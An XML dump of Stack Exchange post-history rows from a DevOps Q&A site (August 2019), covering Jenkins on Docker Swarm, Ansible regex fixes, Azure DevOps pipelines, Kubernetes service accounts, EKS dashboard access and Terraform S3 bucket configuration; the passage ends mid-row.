  <row Id="26468" PostHistoryTypeId="10" PostId="2177" RevisionGUID="aac967c4-7919-4d82-a4f9-070e3c3b9628" CreationDate="2019-08-27T09:34:55.670" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="26470" PostHistoryTypeId="5" PostId="8954" RevisionGUID="efc001f7-5399-474c-93ba-f93f733358da" CreationDate="2019-08-27T09:36:15.190" UserId="354" Comment="Fix some capitalisation and spelling" Text="I have a specific implementation of jenkins on docker. &#xD;&#xA;&#xD;&#xA;My requirement is to start slave containers on demand and only when they are needed and then stop them after the pipeline has ran.&#xD;&#xA;&#xD;&#xA;I have the jenkins master instantiated as a container, then using the docker socket I am able to run my pipeline in one or more other containers containers provisioned by jenkins, that I have specifically built for that purpose following the implementation described [in the jenkins book](https://jenkins.io/doc/book/pipeline/docker/).&#xD;&#xA;&#xD;&#xA;- master container - https://github.com/YiannisH/containerised-jenkins/blob/master/docker/master/Dockerfile&#xD;&#xA;- slave container - https://github.com/YiannisH/containerised-jenkins/blob/master/docker/slave/Dockerfile&#xD;&#xA;&#xD;&#xA;The above mentioned implementation is implemented on one EC2 machine acting as a docker host.&#xD;&#xA;&#xD;&#xA;However, that implementation has the flaw that is not highly available and I am only able to use the resources available on on server.&#xD;&#xA;&#xD;&#xA;How can I implement this on a swarm cluster where I still have just one master jenkins container starting slave containers from the pipeline on a swarm cluster?&#xD;&#xA;&#xD;&#xA;I cannot seem to find something similar after extensive searching, but I am sure it is in some way possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="26471" PostHistoryTypeId="24" PostId="8954" RevisionGUID="efc001f7-5399-474c-93ba-f93f733358da" CreationDate="2019-08-27T09:36:15.190" Comment="Proposed by 354 approved by 13 edit id of 1059" ContentLicense="CC BY-SA 4.0" />
  <row Id="26472" PostHistoryTypeId="2" PostId="9018" RevisionGUID="03ae1027-1679-48b5-81e9-6b01182ba3d1" CreationDate="2019-08-27T13:06:27.453" UserId="775" Text="The task which fails is this one:&#xD;&#xA;&#xD;&#xA;     - name: replace hostname in config&#xD;&#xA;       replace:&#xD;&#xA;         path: /opt/agentd.conf&#xD;&#xA;         regexp: #\s+Hostname\=&#xD;&#xA;         replace: Hostname={{hname}}&#xD;&#xA;         backup: yes&#xD;&#xA;&#xD;&#xA;Try like this:&#xD;&#xA;&#xD;&#xA;     - name: replace hostname in config&#xD;&#xA;       replace:&#xD;&#xA;         path: /opt/agentd.conf&#xD;&#xA;         regexp: '#\s+Hostname\=.*$'&#xD;&#xA;         replace: Hostname={{hname}}&#xD;&#xA;         backup: yes&#xD;&#xA;&#xD;&#xA;Note that if you don't add `.*$`, the task will only replace `# Hostname=` and you will end up with a `Hostname=oldhostnamenewhostname`." ContentLicense="CC BY-SA 4.0" />
  <row Id="26473" PostHistoryTypeId="2" PostId="9019" RevisionGUID="30b3e4a2-bd87-4bb9-8df2-1a1f204ef0c0" CreationDate="2019-08-27T15:45:34.753" UserId="2494" Text="I am looking for the best books on Immutable Infrastructure. I am interested in books on theory and application. Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="26474" PostHistoryTypeId="1" PostId="9019" RevisionGUID="30b3e4a2-bd87-4bb9-8df2-1a1f204ef0c0" CreationDate="2019-08-27T15:45:34.753" UserId="2494" Text="Looking for good books on Immutable Infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="26475" PostHistoryTypeId="3" PostId="9019" RevisionGUID="30b3e4a2-bd87-4bb9-8df2-1a1f204ef0c0" CreationDate="2019-08-27T15:45:34.753" UserId="2494" Text="&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26477" PostHistoryTypeId="2" PostId="9020" RevisionGUID="ce68c584-a1ef-462f-9f21-35f49d991a44" CreationDate="2019-08-27T16:19:48.693" UserId="16791" Text="In my project we are using Azure DevOps in which we have a pipeline which&#xD;&#xA;&#xD;&#xA; - pulls code from code repository&#xD;&#xA; - downloads Ubuntu container&#xD;&#xA; - installs Maven&#xD;&#xA; - downloads all the dependencies&#xD;&#xA; - then tries to build code&#xD;&#xA;&#xD;&#xA;With this approach, every time we commit code in the repository, new container gets downloaded and Maven dependencies are downloaded as well.&#xD;&#xA;&#xD;&#xA;Downloading dependencies itself is taking 10+ minutes which is kind of frustrating.&#xD;&#xA;&#xD;&#xA;Is there any way in which we can cut down this build time? We have couple of virtual machines in Azure, is it possible to tell Azure DevOps pipeline to use these virtual machines to build the code instead of using containers?&#xD;&#xA;&#xD;&#xA;I am sorry if this question is too broad/generic but I am new to DevOps and Azure in general so I don't know specific terms from DevOps world.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Chandra" ContentLicense="CC BY-SA 4.0" />
  <row Id="26478" PostHistoryTypeId="1" PostId="9020" RevisionGUID="ce68c584-a1ef-462f-9f21-35f49d991a44" CreationDate="2019-08-27T16:19:48.693" UserId="16791" Text="How to build Java project on existing virtual machine in Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26479" PostHistoryTypeId="3" PostId="9020" RevisionGUID="ce68c584-a1ef-462f-9f21-35f49d991a44" CreationDate="2019-08-27T16:19:48.693" UserId="16791" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;cicd&gt;&lt;maven&gt;&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26483" PostHistoryTypeId="2" PostId="9022" RevisionGUID="65ed36df-52d7-4950-b489-d36d681e3d01" CreationDate="2019-08-27T16:39:08.490" UserId="4328" Text="You can use a custom build container image for your pipeline with Maven and all of your other dependencies. You will need to: &#xD;&#xA;&#xD;&#xA; 1. Create a Dockerfile that installs Maven and all other dependencies that you have&#xD;&#xA; 2. Build the image and upload it to a custom Azure Container Registry&#xD;&#xA; 3. Modify your YAML pipeline file to reference the new build image&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sample:&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;       containers:&#xD;&#xA;         - container: build_container&#xD;&#xA;           image: demoxyz.azurecr.io/pipeline-build-image:latest&#xD;&#xA;           endpoint: AzureCR&#xD;&#xA;           options: '-v /usr/bin/docker:/usr/bin/docker -v /var/run/docker.sock:/var/run/docker.sock'&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA; Here is an article that discusses the [topic][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://yuriburger.net/2019/03/04/use-your-own-build-container-image-to-create-containerized-apps/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26484" PostHistoryTypeId="5" PostId="8949" RevisionGUID="1ab0a5b3-0704-4e63-a475-ff35f10f85c4" CreationDate="2019-08-27T17:14:04.443" UserId="15792" Comment="Fixed grammar and edited for clarity." Text="As a practice I have pods with these 2 containers:&#xD;&#xA;&#xD;&#xA; 1. php-fpm&#xD;&#xA; 2. nginx&#xD;&#xA; &#xD;&#xA;The image of my project is called testimage.  The solution uses the 'testimage' as initContainer and then copies the all folders and files of the testimage into a shared volume called volume1.  Then this volume is mounted into nginx and php-fpm containers with a Kubernetes volume mount.&#xD;&#xA;&#xD;&#xA;When the size of testimage goes beyond 1gb (for example a magento2 project with full pre-built static data and compiled code) it takes a long time for copying these files and it seems like a bad practice.&#xD;&#xA;&#xD;&#xA;**Should I put the project files into the php-fpm container (first container)?** For nginx to use it again I have to copy paste data into a Kubernetes volume and then mount it to nginx.&#xD;&#xA;&#xD;&#xA;The end solution is putting all app code + fpm + nginx  into a single container than this makes a huge image with all of these.  There is no per-container resource management and etc available with this solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="26485" PostHistoryTypeId="24" PostId="8949" RevisionGUID="1ab0a5b3-0704-4e63-a475-ff35f10f85c4" CreationDate="2019-08-27T17:14:04.443" Comment="Proposed by 15792 approved by -1 edit id of 1060" ContentLicense="CC BY-SA 4.0" />
  <row Id="26486" PostHistoryTypeId="5" PostId="8949" RevisionGUID="8d322d1e-9577-452c-b641-4044a8a54387" CreationDate="2019-08-27T17:14:04.443" UserId="40" Comment="deleted 1 character in body" Text="As a practice I have pods with these 2 containers:&#xD;&#xA;&#xD;&#xA; 1. php-fpm&#xD;&#xA; 2. nginx&#xD;&#xA; &#xD;&#xA;The image of my project is called testimage. The solution uses the 'testimage' as initContainer and then copies the all folders and files of the testimage into a shared volume called volume1. Then this volume is mounted into nginx and php-fpm containers with a Kubernetes volume mount.&#xD;&#xA;&#xD;&#xA;When the size of testimage goes beyond 1gb (for example a magento2 project with full pre-built static data and compiled code), it takes a long time for copying these files and it seems like a bad practice.&#xD;&#xA;&#xD;&#xA;**Should I put the project files into the php-fpm container (first container)?** For nginx to use it again, I have to copy paste data into a Kubernetes volume and then mount it to nginx.&#xD;&#xA;&#xD;&#xA;The end solution is putting all app code + fpm + nginx  into a single container than this makes a huge image with all of these. There is no per-container resource management and etc available with this solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="26487" PostHistoryTypeId="2" PostId="9023" RevisionGUID="adfba12f-444e-4360-a6c4-eed0dc53e5f8" CreationDate="2019-08-27T17:18:34.443" UserId="15792" Text="As of Bamboo 6.3+ there is now support for [YAML specs][1] and configuration as code.  If you are using Bitbucket cloud then this functionality is built into [Bitbucket Pipelines][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bamboo/bamboo-yaml-938844479.html&#xD;&#xA;  [2]: https://bitbucket.org/product/features/pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="26488" PostHistoryTypeId="2" PostId="9024" RevisionGUID="8f6841d4-cc15-4d1c-af8f-cc747e2dc156" CreationDate="2019-08-27T17:35:23.657" UserId="15792" Text="Currently most of my deployments are using a dedicated agent and using Robocopy (windows) or SSH (linux/osx).  A common scenario for my deployments are copying .dlls from a .net project to a server.&#xD;&#xA;&#xD;&#xA;I am trying to consolidate capabilities to allow either the windows or linux/osx agents to deploy (using Bamboo).&#xD;&#xA;&#xD;&#xA;Is there a simple shared protocol to copy files regardless of the OS or am I correct in assuming I need to setup a solution like OpenSSH on the Windows environment?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.openssh.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26489" PostHistoryTypeId="1" PostId="9024" RevisionGUID="8f6841d4-cc15-4d1c-af8f-cc747e2dc156" CreationDate="2019-08-27T17:35:23.657" UserId="15792" Text="Cross-Platform Deployment Tasks in Bamboo" ContentLicense="CC BY-SA 4.0" />
  <row Id="26490" PostHistoryTypeId="3" PostId="9024" RevisionGUID="8f6841d4-cc15-4d1c-af8f-cc747e2dc156" CreationDate="2019-08-27T17:35:23.657" UserId="15792" Text="&lt;continuous-deployment&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26491" PostHistoryTypeId="2" PostId="9025" RevisionGUID="a8982c17-3d1e-427f-bb27-a6eb2257397f" CreationDate="2019-08-27T19:52:54.760" UserId="2494" Text="How do I show all service accounts In Kubernetes?&#xD;&#xA;&#xD;&#xA;I have tried `kubectl get --all-namespaces all`. It does not show service accounts.&#xD;&#xA;&#xD;&#xA;How can I use `kubectl` to list all service accounts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26492" PostHistoryTypeId="1" PostId="9025" RevisionGUID="a8982c17-3d1e-427f-bb27-a6eb2257397f" CreationDate="2019-08-27T19:52:54.760" UserId="2494" Text="Kubernetes - How to show all service accounts" ContentLicense="CC BY-SA 4.0" />
  <row Id="26493" PostHistoryTypeId="3" PostId="9025" RevisionGUID="a8982c17-3d1e-427f-bb27-a6eb2257397f" CreationDate="2019-08-27T19:52:54.760" UserId="2494" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26494" PostHistoryTypeId="2" PostId="9026" RevisionGUID="cafbfda0-d1b9-4d27-b73f-b639d96253f6" CreationDate="2019-08-27T20:06:30.500" UserId="15792" Text="The command you listed will show you your resources.&#xD;&#xA;&#xD;&#xA;Instead try: `kubectl get serviceAccounts`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26495" PostHistoryTypeId="2" PostId="9027" RevisionGUID="b7dfd8ba-e577-48a0-95f8-c43fb3bc8123" CreationDate="2019-08-27T21:30:08.490" UserId="16772" Text="Overall problem&#xD;&#xA;===============&#xD;&#xA;I seem to run around myself in circles with this problem. Either I'm doing something wrong, or Azure Devops simply does not support it.&#xD;&#xA;&#xD;&#xA;For the simplest case (we've got many products and sub-products with various forms of complexity over this problem) we have a simple 2-part system, where one is a plugin to the other. They have a common, known, stable, versioned interface and have completely seperate builds, versioning, git repo and all that.&#xD;&#xA;&#xD;&#xA;Where I get stuck, is where I'm trying to fit this together in a release pipeline.&#xD;&#xA;&#xD;&#xA;The release triggers if any of the artifacts have changes in their respective master or release branches. The trick here is then, that I'd like to fit these pieces together based on the same release branch. However being based on triggers on the artifacts, only the latest avaiable artificat will be used.&#xD;&#xA;&#xD;&#xA;A few words about our release cycle&#xD;&#xA;-----------------------------------&#xD;&#xA;When we develop, we develop to master, and everything that's on master when a set date occurs, is then included in the next release (stabilization if you will) branch, and after some extensive testing and perhaps a few corrections, this is what we ship.&#xD;&#xA;&#xD;&#xA;If a serious flaw is then detected as it rolls out, it will be fixed on that branch, and a new version will be release from there.&#xD;&#xA;&#xD;&#xA;Meanwhile, development on master continues un-interrupted, and is continously released internally for various testing, which triggers the same release build.&#xD;&#xA;&#xD;&#xA;The release build - what it is supposed to be doing&#xD;&#xA;---------------------------------------------------&#xD;&#xA;The release build takes the two artifacts, and joins them together in an installer. So it simply takes the latest from both CI builds, produces an installer, and pushes that to a central storage where we can consume it for further automation.&#xD;&#xA;&#xD;&#xA;The problem is the hotfixes - I would like for the release pipeline to stitch the artifacts correctly together based on the branch the artifacts are from - at the same time I would like for it to be a permanent solution, where my current workaround is to clone the release pipeline from release to release, and set it to target the newly created release/stabilization branch for both parts of the product.&#xD;&#xA;&#xD;&#xA;How is it supposed to work?&#xD;&#xA;---------------------------&#xD;&#xA;Am I dreaming up a complex scenario here that is impossible, or should this be possible in Azure DevOps - if so, how? If not, how should this challenge be tackled instead. Other approaches to recommend when deploying software with decoupled plugins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26496" PostHistoryTypeId="1" PostId="9027" RevisionGUID="b7dfd8ba-e577-48a0-95f8-c43fb3bc8123" CreationDate="2019-08-27T21:30:08.490" UserId="16772" Text="Multi-branch release pipeline in Azure Devops for multiple artifact triggers" ContentLicense="CC BY-SA 4.0" />
  <row Id="26497" PostHistoryTypeId="3" PostId="9027" RevisionGUID="b7dfd8ba-e577-48a0-95f8-c43fb3bc8123" CreationDate="2019-08-27T21:30:08.490" UserId="16772" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26501" PostHistoryTypeId="2" PostId="9029" RevisionGUID="8bb024c0-9dbf-4720-9c15-f47b9db82216" CreationDate="2019-08-27T23:09:54.460" UserId="210" Text="[DEPRECATION NOTICE] registry v2 schema1 support will be removed in an upcoming release. Please contact admins of the quay.io registry NOW to avoid future disruption&#xD;&#xA;&#xD;&#xA;This issue occurs if a `docker pull` is issued or the API is consulted." ContentLicense="CC BY-SA 4.0" />
  <row Id="26502" PostHistoryTypeId="1" PostId="9029" RevisionGUID="8bb024c0-9dbf-4720-9c15-f47b9db82216" CreationDate="2019-08-27T23:09:54.460" UserId="210" Text="How to mitigate &quot;[DEPRECATION NOTICE] registry v2 schema1 support will be removed in an upcoming release&quot; in quay.io?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26503" PostHistoryTypeId="3" PostId="9029" RevisionGUID="8bb024c0-9dbf-4720-9c15-f47b9db82216" CreationDate="2019-08-27T23:09:54.460" UserId="210" Text="&lt;quay.io&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26504" PostHistoryTypeId="2" PostId="9030" RevisionGUID="60feae0c-7ddb-45e3-9d19-12e8a3dcdf28" CreationDate="2019-08-27T23:11:27.610" UserId="210" Comment="added 1 character in body" Text="Quay.io is a docker registry that has been acquired by RedHat" ContentLicense="CC BY-SA 4.0" />
  <row Id="26505" PostHistoryTypeId="1" PostId="9030" RevisionGUID="60feae0c-7ddb-45e3-9d19-12e8a3dcdf28" CreationDate="2019-08-27T23:11:27.610" UserId="210" Comment="added 1 character in body" ContentLicense="CC BY-SA 4.0" />
  <row Id="26506" PostHistoryTypeId="2" PostId="9031" RevisionGUID="5e3b380c-04f2-482c-a71a-aadd86c5aeb1" CreationDate="2019-08-27T23:11:27.610" UserId="210" Text="Use this tag if a Q&amp;A is about quay.io" ContentLicense="CC BY-SA 4.0" />
  <row Id="26507" PostHistoryTypeId="1" PostId="9031" RevisionGUID="5e3b380c-04f2-482c-a71a-aadd86c5aeb1" CreationDate="2019-08-27T23:11:27.610" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="26512" PostHistoryTypeId="2" PostId="9033" RevisionGUID="774ed7a2-26ec-4f1d-8d85-3d4b899001e9" CreationDate="2019-08-28T01:35:42.997" UserId="12991" Text="I need a URL and the web UI log in credentials for Kubernetes.  I created Kubernetes clusters in AWS with EKS.  I have API endpoint URLs for the clusters based on what I see in the EKS section of the web UI of AWS.  But when I go to them in a web browser, there is no prompt for a username or password.  &#xD;&#xA;&#xD;&#xA;I ran this command: &quot;kubectl config view | grep http&quot;&#xD;&#xA;&#xD;&#xA;But when I go to those URLs I see &quot;403 Forbidden&quot; errors.&#xD;&#xA;&#xD;&#xA;I expect a URL that would allow me to log in for the new Kubernetes clusters that I created.  What should I do to determine the URLs?  Hopefully the default credentials will be ascertainable." ContentLicense="CC BY-SA 4.0" />
  <row Id="26513" PostHistoryTypeId="1" PostId="9033" RevisionGUID="774ed7a2-26ec-4f1d-8d85-3d4b899001e9" CreationDate="2019-08-28T01:35:42.997" UserId="12991" Text="How do I access the web UI for Kubernetes clustered that were created via EKS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26514" PostHistoryTypeId="3" PostId="9033" RevisionGUID="774ed7a2-26ec-4f1d-8d85-3d4b899001e9" CreationDate="2019-08-28T01:35:42.997" UserId="12991" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26515" PostHistoryTypeId="2" PostId="9034" RevisionGUID="c84313f5-b295-4dbc-864f-6671a22bbdaf" CreationDate="2019-08-28T03:07:59.217" UserId="16713" Text="Does folks here use a release branch to push changes out to production or release it off master branch - the main pipeline where changes are merged by developers of their feature branches. &#xD;&#xA;&#xD;&#xA;Not to mention, there is still some amount of manual testing and that happens on the master branch after developer has completed the changes in feature branch and automation testing, code review is completed and changes are merged to master. &#xD;&#xA;&#xD;&#xA;What is the recommended practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26516" PostHistoryTypeId="1" PostId="9034" RevisionGUID="c84313f5-b295-4dbc-864f-6671a22bbdaf" CreationDate="2019-08-28T03:07:59.217" UserId="16713" Text="Do you use release branch to push your changes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26517" PostHistoryTypeId="3" PostId="9034" RevisionGUID="c84313f5-b295-4dbc-864f-6671a22bbdaf" CreationDate="2019-08-28T03:07:59.217" UserId="16713" Text="&lt;release-management&gt;&lt;release&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26518" PostHistoryTypeId="2" PostId="9035" RevisionGUID="37ea9282-d273-4577-ae3d-512b82d8b3db" CreationDate="2019-08-28T05:41:00.107" UserId="16683" Text="With EKS, the Kubernetes UI need to be deploy manually. You have a fully detailed [documentation](https://docs.aws.amazon.com/eks/latest/userguide/dashboard-tutorial.html) on how to deploy Kubernetes UI in EKS." ContentLicense="CC BY-SA 4.0" />
  <row Id="26519" PostHistoryTypeId="2" PostId="9036" RevisionGUID="ed4ade51-5ea9-490b-9df0-2a33c3a75101" CreationDate="2019-08-28T05:58:55.683" UserId="354" Text="Although I am willing to bet that this answer may not age well, I would suggest &#xD;&#xA;&#xD;&#xA;[&quot;Infrastructure as Code&quot;](https://infrastructure-as-code.com/) by Kief Morris for the &quot;theory&quot; part.&#xD;&#xA;&#xD;&#xA;For the &quot;application&quot; part, I would suggest [&quot;Terraform up and Running&quot;](https://www.terraformupandrunning.com/) by By Yevgeniy Brikman." ContentLicense="CC BY-SA 4.0" />
  <row Id="26520" PostHistoryTypeId="50" PostId="4508" RevisionGUID="69239de0-82ca-40cd-a832-1f7d93329d81" CreationDate="2019-08-28T11:02:45.367" UserId="-1" />
  <row Id="26521" PostHistoryTypeId="2" PostId="9037" RevisionGUID="c9a53984-0051-491c-8b2f-0b421bfd2832" CreationDate="2019-08-28T15:13:25.237" UserId="16324" Text="The canon solution is to use KMS auto-unseal: https://learn.hashicorp.com/vault/operations/ops-autounseal-aws-kms" ContentLicense="CC BY-SA 4.0" />
  <row Id="26526" PostHistoryTypeId="2" PostId="9040" RevisionGUID="a5f6e97c-082c-49eb-abc2-f0ddf2efcb54" CreationDate="2019-08-28T16:29:08.617" UserId="9308" Text="We have a Jenkins Job that builds something on node A and then needs to SCP it to node B. &#xD;&#xA;You can just put the SSH keys for node B on Node A, and SCP with an `execute shell` build step, however I suspect that keeping SSH keys on a Jenkins node is a bad practice, and would like to avoid it.&#xD;&#xA;What is the best practice regarding this use case? Is there a plugin or a feature for this? Should we just install Hashicorp Vault on the node and configure the keys there separately?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26527" PostHistoryTypeId="1" PostId="9040" RevisionGUID="a5f6e97c-082c-49eb-abc2-f0ddf2efcb54" CreationDate="2019-08-28T16:29:08.617" UserId="9308" Text="How to SSH from Jenkins node to Jenkins node safely?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26528" PostHistoryTypeId="3" PostId="9040" RevisionGUID="a5f6e97c-082c-49eb-abc2-f0ddf2efcb54" CreationDate="2019-08-28T16:29:08.617" UserId="9308" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26529" PostHistoryTypeId="2" PostId="9041" RevisionGUID="6edbe1d8-99c8-4106-b14a-2b405c14a286" CreationDate="2019-08-28T17:17:10.317" UserId="4328" Text="Yes, storing your ssh keys directly on a build node is a bad practice. Nodes can be replicated, deleted, or given access to from other systems, and you don't want to lose track of what systems have access to your secrets.&#xD;&#xA;&#xD;&#xA;You should also not pass them directly into the build job, either as a parameter or as an environment variable. This can cause a huge headache with logging and tracking to make sure your keys aren't inadvertently output to places they shouldn't be. Instead, you should:&#xD;&#xA;&#xD;&#xA; 1. Use a centralized secret store (such as [Hashicorp Vault][1]) to retrieve the secrets at build run-time. &#xD;&#xA; 2. Use a plugin (such as the Credentials or [SSH Credentials][2] Plugin) to reference the keys during the build. &#xD;&#xA;  [1]: https://wiki.jenkins.io/pages/viewpage.action?pageId=111837892&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/SSH+Credentials+Plugin&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26530" PostHistoryTypeId="5" PostId="9034" RevisionGUID="c607ae05-684b-4f6a-a2bb-0fb2bf937937" CreationDate="2019-08-28T17:28:10.650" UserId="40" Comment="deleted 8 characters in body; edited title" Text="Should I use a release branch to push changes out to production or release it off master branch - the main pipeline where changes are merged by developers of their feature branches?&#xD;&#xA;&#xD;&#xA;Not to mention, there is still some amount of manual testing and that happens on the master branch after developer has completed the changes in feature branch and automation testing, code review is completed and changes are merged to master. &#xD;&#xA;&#xD;&#xA;What is the recommended practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26531" PostHistoryTypeId="4" PostId="9034" RevisionGUID="c607ae05-684b-4f6a-a2bb-0fb2bf937937" CreationDate="2019-08-28T17:28:10.650" UserId="40" Comment="deleted 8 characters in body; edited title" Text="Should I use release branch to push my changes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26532" PostHistoryTypeId="2" PostId="9042" RevisionGUID="f42500ba-4681-42ce-a5e4-c6892dfa9245" CreationDate="2019-08-28T17:41:54.153" UserId="4328" Text="A common practice is to build and test off of a pull request to master. Your developers create feature branches, and submit a pull request to master when it is complete. This then triggers a build job based on the PR. &#xD;&#xA;&#xD;&#xA;For example, if you are using Github and Jenkins, you could use the [Github pull request][1] plugin to run a Jenkins job when a PR is submitted to master. If it passes, then perform your code review and manual testing. &#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/GitHub+pull+request+builder+plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26534" PostHistoryTypeId="2" PostId="9043" RevisionGUID="b02fa36f-cbfd-48e2-8365-4cc302e4c58a" CreationDate="2019-08-28T19:08:48.207" UserId="16812" Text="I am trying to create a static website using S3 buckets.  I want to create a bucket for www and non-www versions.  I can't work out how to create two buckets at once.  I read that you can chain two entries together using square brackets.  And I read that you can use variables in the json file.  &#xD;&#xA;&#xD;&#xA;So far I haven't managed to get variables or multiple entries to work.  Can anyone suggest what I am doing wrong?&#xD;&#xA;&#xD;&#xA;I have used this code:&#xD;&#xA;&#xD;&#xA;**Main.tf**&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      shared_credentials_file = &quot;C:/Users/Eoin.Oliver/.aws/terraform.tfvars&quot;  &#xD;&#xA;      profile                 = &quot;customprofile&quot;  &#xD;&#xA;      access_key = &quot;${var.access_key}&quot;&#xD;&#xA;      secret_key = &quot;${var.secret_key}&quot;&#xD;&#xA;      region     = &quot;${var.region}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;b&quot; {&#xD;&#xA;      count      = &quot;${length(var.domain_name)}&quot;&#xD;&#xA;      bucket     = &quot;${var.domain_name[count.index]}&quot;&#xD;&#xA;      acl        = &quot;public-read&quot;&#xD;&#xA;      policy     = &quot;${file(&quot;bucket-policy.json&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      website {&#xD;&#xA;        index_document = &quot;index.html&quot;&#xD;&#xA;        error_document = &quot;error.html&quot;&#xD;&#xA;    &#xD;&#xA;        routing_rules = &lt;&lt;EOF&#xD;&#xA;    EOF&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Variables.tf**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    variable &quot;access_key&quot; {}&#xD;&#xA;    variable &quot;secret_key&quot; {}&#xD;&#xA;    variable &quot;region&quot; {&#xD;&#xA;        default = &quot;eu-west-2&quot;&#xD;&#xA;    }&#xD;&#xA;    variable &quot;domain_name&quot; {}&#xD;&#xA;&#xD;&#xA;**terraform.tvars**&#xD;&#xA;&#xD;&#xA;    domain_name             = [&quot;website.com&quot;, &quot;www.website.com&quot;]&#xD;&#xA;    region                  = &quot;eu-west-2&quot;&#xD;&#xA;    access_key              = &quot;xxxxxxxxx&quot;&#xD;&#xA;    secret_key              = &quot;xxxxxxxxxxx&quot;&#xD;&#xA;&#xD;&#xA;**bucket-policy.json**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;         &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Principal&quot;: {&#xD;&#xA;                    &quot;AWS&quot;: [&quot;arn:aws:iam::240479180938:user/${iams_user_name}&quot;]&#xD;&#xA;                },&#xD;&#xA;                &quot;Action&quot;: &quot;s3:PutBucketPolicy&quot;,&#xD;&#xA;                &quot;Resource&quot;: &quot;arn:aws:s3:::${domain_name}&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="26535" PostHistoryTypeId="1" PostId="9043" RevisionGUID="b02fa36f-cbfd-48e2-8365-4cc302e4c58a" CreationDate="2019-08-28T19:08:48.207" UserId="16812" Text="Create multiple S3 buckets at once" ContentLicense="CC BY-SA 4.0" />
  <row Id="26536" PostHistoryTypeId="3" PostId="9043" RevisionGUID="b02fa36f-cbfd-48e2-8365-4cc302e4c58a" CreationDate="2019-08-28T19:08:48.207" UserId="16812" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26537" PostHistoryTypeId="2" PostId="9044" RevisionGUID="e622c23b-e36b-4e18-925c-274414fc66c9" CreationDate="2019-08-28T21:12:28.710" UserId="15792" Text="Based on the description of your problem, it looks like the solution would be to optimize your testcontainer image:&#xD;&#xA;&#xD;&#xA; 1. Double check your base for the testimage.  Using something like [Alpine][3] for your base image can save a lot of space.&#xD;&#xA; 2. Check what you are baking into your testimage.  Your &quot;pre-built static data&quot; should not be included as part of the image (as others have pointed out).  If you need this data to compile the initial image, you should purge it after to get the size down.&#xD;&#xA; 3. Any tooling installed that is needed for building testimage can be purged from the container before pushing the image.&#xD;&#xA;&#xD;&#xA;With a 5MB Alpine base image and proper management of your &quot;pre-built static data&quot; you should be well below 1GB.  A base php-fpm image clocks in around 82MB and nginx at 9MB.&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/magento2/php-fpm/tags&#xD;&#xA;  [2]: https://hub.docker.com/r/magento2/nginx/tags&#xD;&#xA;  [3]: https://docs.docker.com/samples/library/alpine/&#xD;&#xA;  [4]: 